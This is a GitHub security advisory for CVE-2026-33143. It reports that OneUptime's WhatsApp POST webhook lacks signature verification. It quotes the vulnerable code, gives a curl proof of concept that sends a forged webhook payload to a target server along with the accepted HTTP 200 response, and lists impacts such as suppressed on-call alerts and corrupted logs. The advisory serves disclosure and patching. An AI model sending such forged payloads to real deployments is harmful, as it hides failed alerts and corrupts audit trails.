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OneUptime WhatsApp Webhook Missing Signature Verification

High severity GitHub Reviewed Published Mar 17, 2026 in OneUptime/oneuptime • Updated Mar 18, 2026

Package

npm oneuptime (npm)

Affected versions

< 10.0.34

Patched versions

10.0.34

Description

Summary

The WhatsApp POST webhook handler (/notification/whatsapp/webhook) processes incoming status update events without verifying the Meta/WhatsApp X-Hub-Signature-256 HMAC signature, allowing any unauthenticated attacker to send forged webhook payloads that manipulate notification delivery status records, suppress alerts, and corrupt audit trails. The codebase already implements proper signature verification for Slack webhooks.

Details

Vulnerable code — App/FeatureSet/Notification/API/WhatsApp.ts lines 372-430:

router.post(
  "/webhook",
  async (req: ExpressRequest, res: ExpressResponse, next: NextFunction) => {
    try {
      const body: JSONObject = req.body as JSONObject;
      // NO signature verification! No X-Hub-Signature-256 check!

      if (
        (body["object"] as string | undefined) !== "whatsapp_business_account"
      ) {
        return Response.sendEmptySuccessResponse(req, res);
      }

      const entries: JSONArray | undefined = body["entry"] as JSONArray | undefined;
      // ... processes entries and updates WhatsApp log status records

Compare with the Slack webhook which correctly validates signatures:

Common/Server/Middleware/SlackAuthorization.ts line 58:

const isValid = crypto.timingSafeEqual(
    Buffer.from(computedSignature),
    Buffer.from(slackSignature)
);

The WhatsApp GET webhook correctly validates the verify token — only the POST handler (which processes actual events) is missing signature verification.

No existing CVEs cover webhook signature verification issues in OneUptime. The closest is GHSA-cw6x-mw64-q6pv (WhatsApp Resend Verification Auth Bypass), which is about a different WhatsApp-related authorization issue.

PoC

Environment: OneUptime v10.0.23 via docker compose up (default configuration)

# Forge a delivery status update for any WhatsApp notification — no auth, no signature
curl -sv -X POST http://TARGET:8080/api/notification/whatsapp/webhook \
  -H "Content-Type: application/json" \
  -d '{
    "object": "whatsapp_business_account",
    "entry": [{
      "id": "FAKE_WABA_ID",
      "changes": [{
        "value": {
          "messaging_product": "whatsapp",
          "metadata": {
            "display_phone_number": "+15550000000",
            "phone_number_id": "FAKE_PHONE_ID"
          },
          "messages": [{
            "from": "15551234567",
            "id": "wamid.FAKE",
            "timestamp": "1234567890",
            "text": {"body": "INJECTED_MESSAGE"},
            "type": "text"
          }]
        },
        "field": "messages"
      }]
    }]
  }'

Docker validation (oneuptime/app:release, APP_VERSION=10.0.23):

< HTTP/1.1 200 OK
{}
  • Fake WhatsApp webhook payload accepted with HTTP 200
  • No X-Hub-Signature-256 header provided — no signature verification at all
  • Attacker can inject arbitrary inbound WhatsApp messages and forge delivery status updates

Impact

Any unauthenticated remote attacker can forge WhatsApp webhook events:

  • False delivery status: Mark undelivered WhatsApp notifications as "delivered", hiding delivery failures from administrators
  • Alert suppression: Critical on-call notifications that failed to deliver appear successful, preventing escalation
  • Log manipulation: WhatsApp notification logs updated with forged status data, corrupting audit trails
  • Incident response disruption: During active incidents, forging "delivered" statuses prevents the system from retrying failed notification deliveries

References

@simlarsen simlarsen published to OneUptime/oneuptime Mar 17, 2026
Published to the GitHub Advisory Database Mar 18, 2026
Reviewed Mar 18, 2026
Last updated Mar 18, 2026

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Network
Attack Complexity Low
Attack Requirements None
Privileges Required None
User interaction None
Vulnerable System Impact Metrics
Confidentiality None
Integrity High
Availability None
Subsequent System Impact Metrics
Confidentiality None
Integrity None
Availability None

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N

EPSS score

Weaknesses

Insufficient Verification of Data Authenticity

The product does not sufficiently verify the origin or authenticity of data, in a way that causes it to accept invalid data. Learn more on MITRE.

CVE ID

CVE-2026-33143

GHSA ID

GHSA-g5ph-f57v-mwjc

Source code

Credits

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